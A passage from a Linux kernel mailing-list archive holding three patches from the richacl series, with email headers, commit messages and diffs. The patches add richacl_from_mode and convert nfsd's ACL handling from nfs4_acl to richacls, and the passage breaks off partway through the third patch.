linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 33/49] richacl: Create richacl from mode values Date: Fri, 23 Oct 2015 20:41:46 +0200 X-ASG-Orig-Subj: [PATCH v12 33/49] richacl: Create richacl from mode values Message-Id: <1445625722-13791-34-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625954 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A file can have "no acl" in the sense that only the file mode permission bits determine access. In that case, the getxattr system call fails with errno == ENODATA (No such attribute). Over the NFSv4 protocol, a file always has an acl, and we convert the file mode permission bits into an equivalent acl with richacl_from_mode. Such "trivial" acls can be converted back to a file mode with richacl_equiv_mode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 88 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 89 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index ea3effd..3a11773 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -827,3 +827,91 @@ richacl_apply_masks(struct richacl **acl, kuid_t owner) return 0; } EXPORT_SYMBOL_GPL(richacl_apply_masks); + +/** + * richacl_from_mode - create an acl which corresponds to @mode + * + * The resulting acl doesn't have the RICHACL_MASKED flag set. + * + * @mode: file mode including the file type + */ +struct richacl * +richacl_from_mode(umode_t mode) +{ + unsigned int owner_mask = richacl_mode_to_mask(mode >> 6); + unsigned int group_mask = richacl_mode_to_mask(mode >> 3); + unsigned int other_mask = richacl_mode_to_mask(mode); + unsigned int denied; + unsigned int entries = 0; + struct richacl *acl; + struct richace *ace; + + /* RICHACE_DELETE_CHILD is meaningless for non-directories. */ + if (!S_ISDIR(mode)) { + owner_mask &= ~RICHACE_DELETE_CHILD; + group_mask &= ~RICHACE_DELETE_CHILD; + other_mask &= ~RICHACE_DELETE_CHILD; + } + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) + entries++; /* owner@ deny entry needed */ + if (owner_mask & ~(group_mask & other_mask)) + entries++; /* owner@ allow entry needed */ + denied = ~group_mask & other_mask; + if (denied) + entries++; /* group@ deny entry needed */ + if (group_mask & ~other_mask) + entries++; /* group@ allow entry needed */ + if (other_mask) + entries++; /* everyone@ allow entry needed */ + + acl = richacl_alloc(entries, GFP_KERNEL); + if (!acl) + return NULL; + acl->a_owner_mask = owner_mask; + acl->a_group_mask = group_mask; + acl->a_other_mask = other_mask; + ace = acl->a_entries; + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + if (owner_mask & ~(group_mask & other_mask)) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + denied = ~group_mask & other_mask; + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (group_mask & ~other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = group_mask; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + ace++; + } + + return acl; +} +EXPORT_SYMBOL_GPL(richacl_from_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 3fdfc57..10bfd0f 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -207,5 +207,6 @@ extern struct richacl *richacl_create(umode_t *, struct inode *); /* richacl_compat.c */ extern int richacl_apply_masks(struct richacl **, kuid_t); +extern struct richacl *richacl_from_mode(umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D5F3D29E46 for ; Fri, 23 Oct 2015 13:46:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 91F40304032 for ; Fri, 23 Oct 2015 11:46:02 -0700 (PDT) X-ASG-Debug-ID: 1445625961-04bdf0330c415d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qlVxdaqcXYdlSwVW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:01 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 38A04FC0EF; Fri, 23 Oct 2015 18:46:01 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f3026588; Fri, 23 Oct 2015 14:45:55 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 34/49] nfsd: Keep list of acls to dispose of in compoundargs Date: Fri, 23 Oct 2015 20:41:47 +0200 X-ASG-Orig-Subj: [PATCH v12 34/49] nfsd: Keep list of acls to dispose of in compoundargs Message-Id: <1445625722-13791-35-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625961 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We will decode acls in requests into richacls. Even if unlikely, there can be more than one acl in a single request; those richacls need to be richacl_put() at the end of the request instead of kfree()d, so keep a list of acls in compoundargs for that. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4xdr.c | 27 +++++++++++++++++++++++++++ fs/nfsd/xdr4.h | 6 ++++++ 2 files changed, 33 insertions(+) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 51c9e9c..b8db5a7 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -40,6 +40,7 @@ #include #include #include +#include #include "idmap.h" #include "acl.h" @@ -196,6 +197,24 @@ svcxdr_tmpalloc(struct nfsd4_compoundargs *argp, u32 len) return tb->buf; } +static struct richacl * +svcxdr_alloc_richacl(struct nfsd4_compoundargs *argp, u32 nace) +{ + struct svcxdr_richacl *acls; + + acls = kmalloc(sizeof(*acls), GFP_KERNEL); + if (!acls) + return NULL; + acls->acl = richacl_alloc(nace, GFP_KERNEL); + if (!acls->acl) { + kfree(acls); + return NULL; + } + acls->next = argp->acls; + argp->acls = acls; + return acls->acl; +} + /* * For xdr strings that need to be passed to other kernel api's * as null-terminated strings. @@ -4437,6 +4456,13 @@ int nfsd4_release_compoundargs(void *rq, __be32 *p, void *resp) args->to_free = tb->next; kfree(tb); } + while (args->acls) { + struct svcxdr_richacl *acls = args->acls; + + args->acls = acls->next; + richacl_put(acls->acl); + kfree(acls); + } return 1; } @@ -4455,6 +4481,7 @@ nfs4svc_decode_compoundargs(struct svc_rqst *rqstp, __be32 *p, struct nfsd4_comp args->pagelen = rqstp->rq_arg.page_len; args->tmpp = NULL; args->to_free = NULL; + args->acls = NULL; args->ops = args->iops; args->rqstp = rqstp; diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index 9f99100..b698585 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -570,6 +570,11 @@ struct svcxdr_tmpbuf { char buf[]; }; +struct svcxdr_richacl { + struct svcxdr_richacl *next; + struct richacl *acl; +}; + struct nfsd4_compoundargs { /* scratch variables for XDR decode */ __be32 * p; @@ -579,6 +584,7 @@ struct nfsd4_compoundargs { __be32 tmp[8]; __be32 * tmpp; struct svcxdr_tmpbuf *to_free; + struct svcxdr_richacl *acls; struct svc_rqst *rqstp; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7FA1A29E27 for ; Fri, 23 Oct 2015 13:46:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DED9AAC002 for ; Fri, 23 Oct 2015 11:46:12 -0700 (PDT) X-ASG-Debug-ID: 1445625968-04cbb0660e3f470001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Brz3FDpO5Gp6JzsN (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:09 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 43B719134C; Fri, 23 Oct 2015 18:46:08 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f4026588; Fri, 23 Oct 2015 14:46:01 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 35/49] nfsd: Use richacls as internal acl representation Date: Fri, 23 Oct 2015 20:41:48 +0200 X-ASG-Orig-Subj: [PATCH v12 35/49] nfsd: Use richacls as internal acl representation Message-Id: <1445625722-13791-36-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625969 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When converting from NFSv4 ACLs to POSIX ACLs, nfsd so far was using struct nfs4_acl as its internal representation. This representation is a subset of richacls, so get rid of struct nfs4_acl. Richacls even have a more compact in-memory representation, so a few more ACL entries can easily be supported. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/Kconfig | 6 + fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++++++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 24 ++-- fs/nfsd/nfs4acl.c | 368 ++++++++++++++++++++++-------------------------- fs/nfsd/nfs4proc.c | 15 +- fs/nfsd/nfs4xdr.c | 64 +++------ fs/nfsd/xdr4.h | 6 +- include/linux/nfs4.h | 23 --- include/linux/nfs4acl.h | 7 + 11 files changed, 274 insertions(+), 285 deletions(-) create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 include/linux/nfs4acl.h diff --git a/fs/Kconfig b/fs/Kconfig index bff2879..68bc3e1 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -265,6 +265,12 @@ config NFS_COMMON depends on NFSD || NFS_FS || LOCKD default y +config NFS_RICHACL + bool + depends on NFSD_V4 || NFS_V4 + select FS_RICHACL + default y + source "net/sunrpc/Kconfig" source "fs/ceph/Kconfig" source "fs/cifs/Kconfig" diff --git a/fs/nfs_common/Makefile b/fs/nfs_common/Makefile index d153ca3..e055139 100644 --- a/fs/nfs_common/Makefile +++ b/fs/nfs_common/Makefile @@ -4,5 +4,6 @@ obj-$(CONFIG_NFS_ACL_SUPPORT) += nfs_acl.o nfs_acl-objs := nfsacl.o +obj-$(CONFIG_NFS_RICHACL) += nfs4acl.o obj-$(CONFIG_GRACE_PERIOD) += grace.o diff --git a/fs/nfs_common/nfs4acl.c b/fs/nfs_common/nfs4acl.c new file mode 100644 index 0000000..02df064 --- /dev/null +++ b/fs/nfs_common/nfs4acl.c @@ -0,0 +1,44 @@ +#include +#include +#include + +static struct special_id { + char *who; + int len; +} special_who_map[] = { + [RICHACE_OWNER_SPECIAL_ID] = { + .who = "OWNER@", + .len = sizeof("OWNER@") - 1 }, + [RICHACE_GROUP_SPECIAL_ID] = { + .who = "GROUP@", + .len = sizeof("GROUP@") - 1 }, + [RICHACE_EVERYONE_SPECIAL_ID] = { + .who = "EVERYONE@", + .len = sizeof("EVERYONE@") - 1 } +}; + +int nfs4acl_who_to_special_id(const char *who, u32 len) +{ + int n; + + for (n = 0; n < ARRAY_SIZE(special_who_map); n++) { + if (len == special_who_map[n].len && + !memcmp(who, special_who_map[n].who, len)) + return n; + } + return -1; +} +EXPORT_SYMBOL(nfs4acl_who_to_special_id); + +bool nfs4acl_special_id_to_who(unsigned int special_who, + const char **who, unsigned int *len) +{ + struct special_id *special = &special_who_map[special_who]; + + if (special_who > ARRAY_SIZE(special_who_map) || !special->len) + return false; + *who = special->who; + *len = special->len; + return true; +} +EXPORT_SYMBOL(nfs4acl_special_id_to_who); diff --git a/fs/nfsd/Kconfig b/fs/nfsd/Kconfig index a0b77fc..811379a 100644 --- a/fs/nfsd/Kconfig +++ b/fs/nfsd/Kconfig @@ -70,6 +70,7 @@ config NFSD_V4 depends on NFSD && PROC_FS select NFSD_V3 select FS_POSIX_ACL + select FS_RICHACL select SUNRPC_GSS select CRYPTO select GRACE_PERIOD diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 4cd7c69..1c5deb5 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -35,25 +35,27 @@ #ifndef LINUX_NFS4_ACL_H #define LINUX_NFS4_ACL_H -struct nfs4_acl; +struct richacl; +struct richace; struct svc_fh; struct svc_rqst; /* * Maximum ACL we'll accept from a client; chosen (somewhat * arbitrarily) so that kmalloc'ing the ACL shouldn't require a - * high-order allocation. This allows 204 ACEs on x86_64: + * high-order allocation. This allows 339 ACEs on x86_64: */ -#define NFS4_ACL_MAX ((PAGE_SIZE - sizeof(struct nfs4_acl)) \ - / sizeof(struct nfs4_ace)) +#define NFSD4_ACL_MAX ((PAGE_SIZE - sizeof(struct richacl)) \ + / sizeof(struct richace)) -int nfs4_acl_bytes(int entries); -int nfs4_acl_get_whotype(char *, u32); -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who); +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len); +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace); -int nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl); -__be32 nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl); +int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl); +__be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + struct richacl *acl); #endif /* LINUX_NFS4_ACL_H */ diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6adabd6..6d3bb72 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -37,46 +37,50 @@ #include #include #include +#include +#include +#include #include "nfsfh.h" #include "nfsd.h" +#include "idmap.h" #include "acl.h" #include "vfs.h" -#define NFS4_ACL_TYPE_DEFAULT 0x01 -#define NFS4_ACL_DIR 0x02 -#define NFS4_ACL_OWNER 0x04 +#define FLAG_DEFAULT_ACL 0x01 +#define FLAG_DIRECTORY 0x02 +#define FLAG_OWNER 0x04 /* mode bit translations: */ -#define NFS4_READ_MODE (NFS4_ACE_READ_DATA) -#define NFS4_WRITE_MODE (NFS4_ACE_WRITE_DATA | NFS4_ACE_APPEND_DATA) -#define NFS4_EXECUTE_MODE NFS4_ACE_EXECUTE -#define NFS4_ANYONE_MODE (NFS4_ACE_READ_ATTRIBUTES | NFS4_ACE_READ_ACL | NFS4_ACE_SYNCHRONIZE) -#define NFS4_OWNER_MODE (NFS4_ACE_WRITE_ATTRIBUTES | NFS4_ACE_WRITE_ACL) +#define RICHACE_READ_MODE (RICHACE_READ_DATA) +#define RICHACE_WRITE_MODE (RICHACE_WRITE_DATA | RICHACE_APPEND_DATA) +#define RICHACE_EXECUTE_MODE RICHACE_EXECUTE +#define RICHACE_ANYONE_MODE (RICHACE_READ_ATTRIBUTES | RICHACE_READ_ACL | RICHACE_SYNCHRONIZE) +#define RICHACE_OWNER_MODE (RICHACE_WRITE_ATTRIBUTES | RICHACE_WRITE_ACL) /* flags used to simulate posix default ACLs */ -#define NFS4_INHERITANCE_FLAGS (NFS4_ACE_FILE_INHERIT_ACE \ - | NFS4_ACE_DIRECTORY_INHERIT_ACE) - -#define NFS4_SUPPORTED_FLAGS (NFS4_INHERITANCE_FLAGS \ - | NFS4_ACE_INHERIT_ONLY_ACE \ - | NFS4_ACE_IDENTIFIER_GROUP) +#define RICHACE_SUPPORTED_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO) static u32 mask_from_posix(unsigned short perm, unsigned int flags) { - int mask = NFS4_ANYONE_MODE; + int mask = RICHACE_ANYONE_MODE; - if (flags & NFS4_ACL_OWNER) - mask |= NFS4_OWNER_MODE; + if (flags & FLAG_OWNER) + mask |= RICHACE_OWNER_MODE; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -86,13 +90,13 @@ deny_mask_from_posix(unsigned short perm, u32 flags) u32 mask = 0; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -108,32 +112,33 @@ deny_mask_from_posix(unsigned short perm, u32 flags) static void low_mode_from_nfs4(u32 perm, unsigned short *mode, unsigned int flags) { - u32 write_mode = NFS4_WRITE_MODE; + u32 write_mode = RICHACE_WRITE_MODE; - if (flags & NFS4_ACL_DIR) - write_mode |= NFS4_ACE_DELETE_CHILD; + if (flags & FLAG_DIRECTORY) + write_mode |= RICHACE_DELETE_CHILD; *mode = 0; - if ((perm & NFS4_READ_MODE) == NFS4_READ_MODE) + if ((perm & RICHACE_READ_MODE) == RICHACE_READ_MODE) *mode |= ACL_READ; if ((perm & write_mode) == write_mode) *mode |= ACL_WRITE; - if ((perm & NFS4_EXECUTE_MODE) == NFS4_EXECUTE_MODE) + if ((perm & RICHACE_EXECUTE_MODE) == RICHACE_EXECUTE_MODE) *mode |= ACL_EXECUTE; } -static short ace2type(struct nfs4_ace *); -static void _posix_to_nfsv4_one(struct posix_acl *, struct nfs4_acl *, +static short ace2type(struct richace *); +static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); int -nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl) +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl) { struct inode *inode = d_inode(dentry); int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; + struct richacl_alloc alloc; unsigned int flags = 0; - int size = 0; + int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); if (!pacl) @@ -143,10 +148,10 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, return PTR_ERR(pacl); /* allocate for worst case: one (deny, allow) pair each: */ - size += 2 * pacl->a_count; + count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { error = PTR_ERR(dpacl); @@ -154,20 +159,20 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (dpacl) - size += 2 * dpacl->a_count; + count += 2 * dpacl->a_count; } - *acl = kmalloc(nfs4_acl_bytes(size), GFP_KERNEL); - if (*acl == NULL) { + if (!richacl_prepare(&alloc, count)) { error = -ENOMEM; goto out; } - (*acl)->naces = 0; - _posix_to_nfsv4_one(pacl, *acl, flags & ~NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(pacl, &alloc, flags); if (dpacl) - _posix_to_nfsv4_one(dpacl, *acl, flags | NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); + + *acl = alloc.acl; out: posix_acl_release(dpacl); @@ -230,21 +235,22 @@ summarize_posix_acl(struct posix_acl *acl, struct posix_acl_summary *pas) /* We assume the acl has been verified with posix_acl_valid. */ static void -_posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, - unsigned int flags) +_posix_to_richacl_one(struct posix_acl *pacl, struct richacl_alloc *alloc, + unsigned int flags) { struct posix_acl_entry *pa, *group_owner_entry; - struct nfs4_ace *ace; + struct richace *ace; struct posix_acl_summary pas; unsigned short deny; - int eflag = ((flags & NFS4_ACL_TYPE_DEFAULT) ? - NFS4_INHERITANCE_FLAGS | NFS4_ACE_INHERIT_ONLY_ACE : 0); + int e_flags = ((flags & FLAG_DEFAULT_ACL) ? + (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE | + RICHACE_INHERIT_ONLY_ACE) : 0); BUG_ON(pacl->a_count < 3); summarize_posix_acl(pacl, &pas); pa = pacl->a_entries; - ace = acl->aces + acl->naces; /* We could deny everything not granted by the owner: */ deny = ~pas.owner; @@ -254,42 +260,35 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, */ deny &= pas.users | pas.group | pas.groups | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags | NFS4_ACL_OWNER); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags | FLAG_OWNER); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; pa++; while (pa->e_tag == ACL_USER) { deny = ~(pa->e_perm & pas.mask); deny &= pas.groups | pas.group | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.uid = pa->e_uid; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.uid = pa->e_uid; pa++; } @@ -300,23 +299,19 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, group_owner_entry = pa; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pas.group, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pas.group, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; pa++; while (pa->e_tag == ACL_GROUP) { - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.gid = pa->e_gid; pa++; } @@ -326,12 +321,11 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~pas.group & pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = 